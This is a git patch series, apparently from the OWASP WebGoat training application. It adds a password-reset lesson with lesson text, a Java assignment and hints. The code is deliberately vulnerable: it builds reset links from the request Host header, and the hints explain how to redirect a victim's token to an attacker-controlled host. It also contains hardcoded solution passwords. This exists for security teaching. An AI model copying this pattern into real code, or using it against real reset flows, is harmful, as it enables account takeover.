5yy@HYDRp5?OovwH<`t@7 z11+L29=G0ojT-9F#&B&>f!~&=tIoi?`Lgc;C?cM!xrbavCU_^>}hFP#ZLBq7;u4? z)T*n0G8j8z(=aM7+nX)|K%{We8GDb|8ZNmVt{3-{APvaiS%y1$A}x3_mZg z9vwby1x<$}TeM*VVPHW*drBD8Qf*MgKBlx~c5KW&GAtu5!6#NnG9J3+C_#2b;HFS* zgQmcc0n}%=E8X7w0LecG;~~y4YBO3VWQJzarUt?vZmf7~52QC;GpQWy9T$g-O&xqd zj=US6`N9u}Ya5(7r|R^nC`6Y8l*zwB&_0Q6e;$^}X6uK7IMRw$g|l6nib{u13B7#A zk+`oRpsXa74HOG~#c;Gr_N=Ihod1f}C>FFfZu8d-vf1rmWX0VB6@Ao<+K?F5z?r_p zsV)iv+&S&7tp@h?qanWC_eVY7g1Kiw&Lux|gf8gm17&jN_zwrch9FRI#^zKDS*?XJ zfW-v!k^mgLB-DTb+xd!HcCQY9op!aW2i|F}jZVCD`m;!qD?7h*emyW~b}h_0W*xRb z4xs>LveR%@y5KM%``(;N*qZc#mhC?gAg#K2+gZrvDSRJ_@E&{uGCgUB`0+rM9P=xDsE5avD#FBlvWWya3?cpF8vm5^n>zv5 z%U>&rK66bm*zjs;9lP^51(_|4o(b{~eegT~u_$jvxY&emkYA zce07rX%LDx0Uo67ly!~?8jk>_UFN9JHEWW_lXYN2NI*A%Z{L}I$41L%1B=!)ttPzQ zv~UcQH21Me2wgJ!0J<=J`x2>UdP|6%j7TQ8stCBjDX-zvsdM?!1xU3oDY{Xn(1;F z#?TLwO|%D^e|xg1n9(niwcuj-&FMxll{?)lHIo(rQm@|dMf=Fus%Q6+Mi<|=AdLCm zJs%|E_-#H$F02YID6mfvUN*>gKK06_jDl9DYDMoJ#R(t@Zz=pDtU%xBR4N8zW_883 zd21dOz5Ur7Z=x?+yWIqFYSgc$!%775`v+ZG(1*xt=S9aklg|Gbll$yNdy_^`q^8|SWGAWo7YOlC5{xi-sB z7W&=%J{nDLNZI9ShYOm7+9pQGUID4dE~xaDMR~s%1dqD|X8ln^%Gp&F&!tNQ@)S#g zJ2N>c0{`4xJ)Pg>0(h(afUto+wr#ZZiCM zgZmmiqO51#E)5b?pys?@1df_RYn%WnsWA`JafQK8&l$&t?NCF9HJnQxr7|LV1=!EC z0G4616?;ogRt%MU;tFng-$GiJ1|X`ch}+*+By$~-Avx58%?sOsg|uBw@!3Xthbiqw z8_6;^H(yo?VA5%)0PxqEKwBecZ^i6&R%Y@vBkWL?xSZ+TW@LCF6I3=B6pLqsYWQJd}_gDt0WN&$Ot@DH;guMq}nbZmL>saOmN763l z<$rZb0pWs$?m_Y{=+~c7D@swehng*YtYQVOe`f^M0AaJPr5rwHuic_xl~)IA<+!7# z;1-c=BOLg58l?FlxoVGYxct|_>~kNNzzAL&6UwL}Zxqa#XuoCeC3z6xhs=|++u6-; zqGetC=li0>`I8T>_OA)f9hOWV>kZwJ%L_)WsSw`+eRVll|9Xe!ZF76s)uH&^%^w;7 zlfx?Kl4qtrseYUqO;r;;-~XQ8N>jaXB-b-bE?#9K*Jrk4+fE#~! z^dk3!$R+`7nC2w{5L>~rn4qn*7y@@ha)@uU+V@iUw@DCXV0&pKs?LSJR##-7y2Py} z8N<~;hJ?OhdmKEwK5d}&Munt;`7DYca&M%6V zdfEe()u^}Zwb#e73j1;+#WV1IC2GcBbxwuk{Q8QNPx@MJ*KM>>rM#xM z-voK1BFW=LYFbX!@`uhIwX&8Ls>A*bZ)6h!vwpVg4S7FLvK?S0xxeZWDazVv%iFvu zqn6Z~mUy26n^nI@jRR}4`y&~O*c}nGHNdY|0bt`6^s_Ao^B!(=xI?Ap`9(0XM!4v5 zb|JAz8uUd*_)_(+ACA$L6&q?z!5P}V&CX%ZAbG*Mu{R_2-bg`iUmm(e7hU3@I{3RZ z-*^^!sV0!vZnW!i|EZMW-LF@*<0K>Z zU8p7s9{JD#{$fWO%_VZ55pEek#2w7s#Yz59#deLrWOxtG#gi|pCPA`-EOz@vUo69Y zptYv1Z-1&8{n~vj@gAwPjGlA49ud=q#Dr3Fy^;<}bN>=x@8aP#!89xsZJgejW-IL( z4sS_@EXZ7Iu`N|o{`$ZiaC9Lyb>-bpgl4dW_M_@OHf`$=+k#5hxluiiJpSM})vX(N zf1*-~zlsnpgcF`y_C0Sr$cZ4Py^8&QdCE$L7-Kc&w_cSs>9C<G zA}rwW&<|5mwt~LpMLynvopu4&T8%5)*SH%mz7OLKmyJ59Vk>B<{Qa;LjUE638g5vk zD?a!>VRYZiSu#whWQ?$0STS!^bL6c6Akh7Kw2Vt$tXypi&pGh7c((RLkvwO$W)UZa zv$RvpkZYWcsvZiX#4T3YEGm?I51KFaH|&O9>V%haQHQ2Y@kG1Q`;~x6afvglh7#|7 z{pyY(p0-?g;ONIC?yDGRwt~RO?B+7*ULLFe8Zogbl=oPs8W2%(_Ua8lYl8}E@k(Y> zIP+6!jGsPyr)HUXWD(knw#L$WH%x;#eF5`Ty+5|LcBXp6M6BGVSb7tp51N)YuAGd)qbf E-{&W#*Z=?k literal 0 HcmV?d00001 diff --git a/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js new file mode 100644 index 0000000000..0073c693bf --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js @@ -0,0 +1,10 @@ +$(document).ready(function() { + $('#olvidado').click(function(e) { + e.preventDefault(); + $('div#form-olvidado').toggle('500'); + }); + $('#acceso').click(function(e) { + e.preventDefault(); + $('div#form-olvidado').toggle('500'); + }); +}); \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc new file mode 100644 index 0000000000..46c8666eeb --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc @@ -0,0 +1,17 @@ +== Creating the password reset link + +When creating a password reset link you need to make sure: + +- It is a unique link with a random token +- It can only be used once +- The link is only valid for one hour + +Send a link with a random token means an attacker cannot start a simple DOS attack to your website by starting to +block users. The link should not be used more then once which makes it impossible to change the password again. +The time out is necessary to restrict the attack window, having a link opens up a lot of possibilities for the attacker. + +== Assignment + +In this assignment Tom uses the password reset functionality, can you try to find a way to e-mail the password +reset link to your own inbox at user@webwolf.org. Use WebWolf to read the email and paste the token in the box +below. diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc new file mode 100644 index 0000000000..04d4690c98 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc @@ -0,0 +1,23 @@ +== Security questions + +This has been an issue and still is for a lot of websites, when you lost your password the website will ask you +for a security question which you answered during the sign up process. Most of the time this list contains a fixed +number of question and which sometimes even have a limited set of answers. In order to use this functionality +a user should be able to select a question by itself and type in the answer as well. This way users will not share +the question which makes it more difficult for an attacker. + +One important thing to remember the answers to these security question(s) should be treated with the same level of +security which is applied for storing a password in a database. If the database leaks an attacker should not be able +to perform password reset based on the answer of the security question. + +Users share so much information on social media these days it becomes difficult to use security questions for password +resets, a good resource for security questions is: http://goodsecurityquestions.com/ + +== Assignment + +Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on +this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the +password of another user. + + + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc new file mode 100644 index 0000000000..c7ba7dd905 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc @@ -0,0 +1,3 @@ +== Password reset link + +Should be unique, do diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc new file mode 100644 index 0000000000..fac4211c08 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc @@ -0,0 +1,22 @@ += Password reset + +== Concept + +This lesson teaches about password reset functionality which most of the time is an overlooked part of the application +leading to all kind of interesting logic flaws. + +== Goals + +Teach how to securely implement password reset functionality within your application. + +== Introduction + +Each and every one of us will have used the password reset functionality on websites before. Each website implements +this functionality in a different manner. On some site you have to answer some question on other sites an e-mail +with an activation link will be send to you. In this lesson we will go through some of the most common password +reset functionalities and show where it can go wrong. + +Still there are companies which will send the password in plaintext to a user in an e-mail. For a couple of examples +you can take a look at http://plaintextoffenders.com/ Here you will find website which still send you the plaintext +password in an e-mail. Not only this should make you question the security of the site but this also mean they store +your password in plaintext! \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc new file mode 100644 index 0000000000..c3e051b13c --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc @@ -0,0 +1,6 @@ +== Email functionality with WebWolf + +Let's first do a simple assignment to make sure you are able to read e-mails with WebWolf, first start WebWolf (see http://) +In the reset page below send an e-mail to `username@webgoat.org` (part behind the @ is not important) +Open WebWolf and read the e-mail and login with your username and the password provided in the e-mail. + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc new file mode 100644 index 0000000000..772eeb6771 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc @@ -0,0 +1,21 @@ +:half-size: width='20%' + +== Find out if account exists + +As stated before during a password reset often you will find a different message depending on whether an e-mail +address exists or not. By itself this might not look like a big deal but it can give an attacker information which +can be used in a phishing attack. If the attacker knows you have a registered account at a site, the attacker can +for example create a phishing mail and send it to the user. The user might be more tempted to click the e-mail because +the user has a valid account at the website. On the other hand for some websites this is not really important but +some website users would like some more privacy. + +The screenshots below are taken from a real website: + +image:images/reset2.png[align="top", {half-size}] +image:images/reset1.png[align="top", {half-size}] + +Below you see how Slack implemented the same two pages, no matter what e-mail address you enter the message will +be exactly the same: + +image:images/slack1.png[{half-size}] +image:images/slack2.png[{half-size}] diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 63dca5f485..04ec10fda3 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -33,6 +33,7 @@ auth-bypass missing-function-ac csrf + password-reset diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc index 0fdb4f2d39..8a8a7ce780 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc @@ -1,4 +1,6 @@ We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all the things we explained in the SQL lessons. +Goal: Can you login as Tom? + Have fun! \ No newline at end of file diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 5bd46135d8..1f44f04cdb 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -190,6 +190,11 @@ missing-function-ac ${project.version} + + org.owasp.webgoat.lesson + password-reset + ${project.version} + From f8a7a61e85b7be04e4b58a0bb9d893daa3f6cf62 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 26 May 2018 15:09:18 +0200 Subject: [PATCH 65/76] New lesson working --- .../src/main/resources/application.properties | 2 +- .../webgoat/plugin/SolutionConstants.java | 2 - .../webgoat/plugin/challenge9/Challenge9.java | 39 ------- .../src/main/resources/html/Challenge9.html | 109 ------------------ .../src/main/resources/js/challenge9.js | 10 -- .../resources/lessonPlans/en/Challenge_9.adoc | 3 - .../plugin/resetlink}/PasswordChangeForm.java | 2 +- .../resetlink/ResetLinkAssignment.java} | 74 +++++------- .../main/resources/html/PasswordReset.html | 106 ++++++++++++++++- .../resources/i18n/WebGoatLabels.properties | 10 ++ .../resources/js/password-reset-simple.js | 14 ++- .../en/PasswordReset_host_header.adoc | 7 +- .../templates/password_link_not_found.html | 0 .../resources/templates/password_reset.html | 18 +-- .../src/main/resources/templates/success.html | 0 .../requests/WebWolfTraceRepository.java | 7 +- 16 files changed, 172 insertions(+), 231 deletions(-) delete mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java delete mode 100644 webgoat-lessons/challenge/src/main/resources/html/Challenge9.html delete mode 100644 webgoat-lessons/challenge/src/main/resources/js/challenge9.js delete mode 100644 webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc rename webgoat-lessons/{challenge/src/main/java/org/owasp/webgoat/plugin/challenge9 => password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink}/PasswordChangeForm.java (88%) rename webgoat-lessons/{challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java => password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/ResetLinkAssignment.java} (71%) rename webgoat-lessons/{challenge => password-reset}/src/main/resources/templates/password_link_not_found.html (100%) rename webgoat-lessons/{challenge => password-reset}/src/main/resources/templates/password_reset.html (52%) rename webgoat-lessons/{challenge => password-reset}/src/main/resources/templates/success.html (100%) diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index 431dbba990..6ccb8fa934 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -39,7 +39,7 @@ webgoat.default.language=en webwolf.host=${WEBWOLF_HOST:localhost} webwolf.port=${WEBWOLF_PORT:8081} webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf -webworf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing +webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail spring.jackson.serialization.indent_output=true diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java index 886565dc85..4f5c38effd 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java @@ -15,6 +15,4 @@ public interface SolutionConstants { String PASSWORD_LARRY = "larryknows"; String JWT_PASSWORD = "victory"; String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; - String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; - String TOM_EMAIL = "tom@webgoat-cloud.org"; } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java deleted file mode 100644 index c13a6e4c8a..0000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java +++ /dev/null @@ -1,39 +0,0 @@ -package org.owasp.webgoat.plugin.challenge9; - -import com.google.common.collect.Lists; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.NewLesson; - -import java.util.List; - -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge9 extends NewLesson { - - @Override - public Category getDefaultCategory() { - return Category.CHALLENGE; - } - - @Override - public List getHints() { - return Lists.newArrayList(); - } - - @Override - public Integer getDefaultRanking() { - return 10; - } - - @Override - public String getTitle() { - return "challenge9.title"; - } - - @Override - public String getId() { - return "Challenge9"; - } -} diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html deleted file mode 100644 index 49cc34ca93..0000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - -

-
- - -
-
- -
-
-
-

- - Account Access -

-
-
-
-
- @ - -
-
- - - - - -
-
- -

- - Forgot your password? - -

-
-
-
-
- -
-
-
- -
-
-
-
-
- -
-
- -
-
- -
- -
-
-
-
-
- - \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge9.js b/webgoat-lessons/challenge/src/main/resources/js/challenge9.js deleted file mode 100644 index eccbd7d331..0000000000 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge9.js +++ /dev/null @@ -1,10 +0,0 @@ -$(document).ready(function() { - $('#login').click(function(e) { - e.preventDefault(); - $('div#form-login').toggle('500'); - }); - $('#forgot').click(function(e) { - e.preventDefault(); - $('div#form-login').toggle('500'); - }); -}); \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc deleted file mode 100644 index f2e2c1c9bb..0000000000 --- a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc +++ /dev/null @@ -1,3 +0,0 @@ -Tom always resets his password immediately after receiving the email with the link. -Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with -that password. diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java similarity index 88% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java index bfe2d3625a..3c1afccd73 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge9; +package org.owasp.webgoat.plugin.resetlink; import lombok.Getter; import lombok.Setter; diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/ResetLinkAssignment.java similarity index 71% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/ResetLinkAssignment.java index 0ef786bf8d..4b3fdfab28 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/ResetLinkAssignment.java @@ -1,22 +1,16 @@ -package org.owasp.webgoat.plugin.challenge9; +package org.owasp.webgoat.plugin.resetlink; -import com.beust.jcommander.internal.Lists; -import com.beust.jcommander.internal.Maps; import com.google.common.collect.EvictingQueue; -import lombok.extern.slf4j.Slf4j; +import com.google.common.collect.Maps; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.plugin.Email; -import org.owasp.webgoat.users.UserRepository; -import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.beans.factory.annotation.Autowired; +import org.owasp.webgoat.plugin.PasswordResetEmail; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpMethod; import org.springframework.ui.Model; -import org.springframework.util.StringUtils; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.*; import org.springframework.web.client.RestTemplate; @@ -26,25 +20,23 @@ import java.util.Map; import java.util.UUID; -import static org.owasp.webgoat.plugin.Flag.FLAGS; -import static org.owasp.webgoat.plugin.SolutionConstants.PASSWORD_TOM_9; -import static org.owasp.webgoat.plugin.SolutionConstants.TOM_EMAIL; import static org.springframework.web.bind.annotation.RequestMethod.POST; /** * @author nbaars - * @since 4/8/17. + * @since 8/20/17. */ -@AssignmentPath("/challenge/9") -@Slf4j -public class Assignment9 extends AssignmentEndpoint { +@AssignmentPath("/PasswordReset/reset") +public class ResetLinkAssignment extends AssignmentEndpoint { + private static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; + private static final String TOM_EMAIL = "tom@webgoat-cloud.org"; private static Map userToTomResetLink = Maps.newHashMap(); private static Map usersToTomPassword = Maps.newHashMap(); private static EvictingQueue resetLinks = EvictingQueue.create(1000); private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " + - "link to reset your password." + + "link to reset your password." + "\n \n\n" + "If you did not request this password change you can ignore this message." + "\n" + @@ -52,12 +44,15 @@ public class Assignment9 extends AssignmentEndpoint { "\n\n" + "Kind regards, \nTeam WebGoat"; - @Autowired - private RestTemplate restTemplate; - @Autowired - private UserRepository userRepository; - @Value("${webwolf.url}") - private String webWolfURL; + private final RestTemplate restTemplate; + private final String webWolfMailURL; + private final String webwolfLandingURL; + + public ResetLinkAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfMailURL, @Value("${webwolf.url.landingpage}") String webwolfLandingURL) { + this.restTemplate = restTemplate; + this.webWolfMailURL = webWolfMailURL; + this.webwolfLandingURL = webwolfLandingURL; + } @RequestMapping(method = POST, value = "/create-password-reset-link") @ResponseBody @@ -65,7 +60,7 @@ public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServle String resetLink = UUID.randomUUID().toString(); resetLinks.add(resetLink); String host = request.getHeader("host"); - if (StringUtils.hasText(email)) { + if (org.springframework.util.StringUtils.hasText(email)) { if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header. userToTomResetLink.put(getWebSession().getUserName(), resetLink); fakeClickingLinkEmail(cookie, host, resetLink); @@ -77,18 +72,15 @@ public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServle } private void sendMailToUser(@RequestParam String email, String host, String resetLink) { - String username; - WebGoatUser webGoatUser = userRepository.findByUsername(email.substring(0, email.indexOf("@"))); - if (webGoatUser != null) { - username = webGoatUser.getUsername(); - Email mail = Email.builder() - .title("Your password reset link for challenge 9") - .contents(String.format(TEMPLATE, host, resetLink)) - .sender("password-reset@webgoat-cloud.net") - .recipient(username) - .time(LocalDateTime.now()).build(); - restTemplate.postForEntity(webWolfURL + "/WebWolf/mail", mail, Object.class); - } + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + PasswordResetEmail mail = PasswordResetEmail.builder() + .title("Your password reset link") + .contents(String.format(TEMPLATE, host, resetLink)) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()).build(); + restTemplate.postForEntity(webWolfMailURL, mail, Object.class); } /** @@ -98,11 +90,9 @@ private void sendMailToUser(@RequestParam String email, String host, String rese */ private void fakeClickingLinkEmail(String cookie, String host, String resetLink) { try { - HttpHeaders httpHeaders = new HttpHeaders(); - httpHeaders.put(HttpHeaders.COOKIE, Lists.newArrayList("JSESSIONID=" + cookie)); HttpEntity httpEntity = new HttpEntity(httpHeaders); - new RestTemplate().exchange(String.format("http://%s/challenge/9/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); + new RestTemplate().exchange(String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); } catch (Exception e) { //don't care } @@ -116,7 +106,7 @@ public AttackResult login(@RequestParam String password, @RequestParam String em if (passwordTom.equals(PASSWORD_TOM_9)) { return failed().feedback("login_failed").build(); } else if (passwordTom.equals(password)) { - return success().feedback("challenge.solved").feedbackArgs(FLAGS.get(9)).build(); + return success().feedback("challenge.solved").feedbackArgs("test").build(); } } return failed().feedback("login_failed.tom").build(); @@ -137,7 +127,7 @@ public String resetPassword(@PathVariable(value = "link") String link, Model mod @PostMapping("/change-password") public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { - if (!StringUtils.hasText(form.getPassword())) { + if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { bindingResult.rejectValue("password", "not.empty"); } if (bindingResult.hasErrors()) { @@ -156,6 +146,4 @@ private boolean checkIfLinkIsFromTom(String resetLinkFromForm) { String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); return resetLink.equals(resetLinkFromForm); } - } - diff --git a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html index 4b5373a0f5..d4a652c702 100644 --- a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html +++ b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html @@ -111,7 +111,8 @@

WebGoat Password Recovery

- +
@@ -130,5 +131,108 @@

WebGoat Password Recovery

+
+
+
+ +
+ +
+
+
+

+ + Account Access +

+
+
+
+
+ @ + +
+
+ + + + + +
+
+ +

+ + Forgot your password? + +

+
+
+
+
+ +
+
+
+ +
+
+
+
+
+ +
+
+ +
+
+ +
+ +
+
+
+
+
+ \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties index cb073b35a5..5cc0406b10 100644 --- a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties @@ -7,3 +7,13 @@ password-reset-simple.email_mismatch=Of course you can send mail to user {0} how password-questions-wrong-user=You need to find a different user you are logging in with 'webgoat'. password-questions-unknown-user=User {0} is not a valid user. + +password-reset-no-user=Please supply a valid e-mail address. +password-reset-solved=Congratulations you solved the assignment, please type in the following code in the e-mail field: {0} +password-reset-not-solved=Sorry but you did not redirect the reset link to WebWolf + +password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf. +password-reset-hint2=Look at the link, can you think how the server creates this link? +password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link... +password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:8081 +password-reset-hint5=Intercept the request and change the host header \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js index 0073c693bf..bf374ac7f8 100644 --- a/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js +++ b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js @@ -7,4 +7,16 @@ $(document).ready(function() { e.preventDefault(); $('div#form-olvidado').toggle('500'); }); -}); \ No newline at end of file +}); + +function showPasswordReset() { + console.log("clicking") + $('#password-reset').show(); + $('#password-login').hide(); +} + +function showPassword() { + console.log("clicking") + $('#password-login').show(); + $('#password-reset').hide(); +} \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc index 46c8666eeb..fa0261e73f 100644 --- a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc @@ -12,6 +12,7 @@ The time out is necessary to restrict the attack window, having a link opens up == Assignment -In this assignment Tom uses the password reset functionality, can you try to find a way to e-mail the password -reset link to your own inbox at user@webwolf.org. Use WebWolf to read the email and paste the token in the box -below. +Tom always resets his password immediately after receiving the email with the link. +Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with +that password. If you did submit is in the e-mail address and submit again. + diff --git a/webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html b/webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html rename to webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html diff --git a/webgoat-lessons/challenge/src/main/resources/templates/password_reset.html b/webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html similarity index 52% rename from webgoat-lessons/challenge/src/main/resources/templates/password_reset.html rename to webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html index a0d073a093..28c7c2f58e 100644 --- a/webgoat-lessons/challenge/src/main/resources/templates/password_reset.html +++ b/webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html @@ -9,16 +9,8 @@
-
+ - - - - - - - -
@@ -26,14 +18,6 @@ name='password' th:value="*{password}"/> Password error
- - - - - - - -
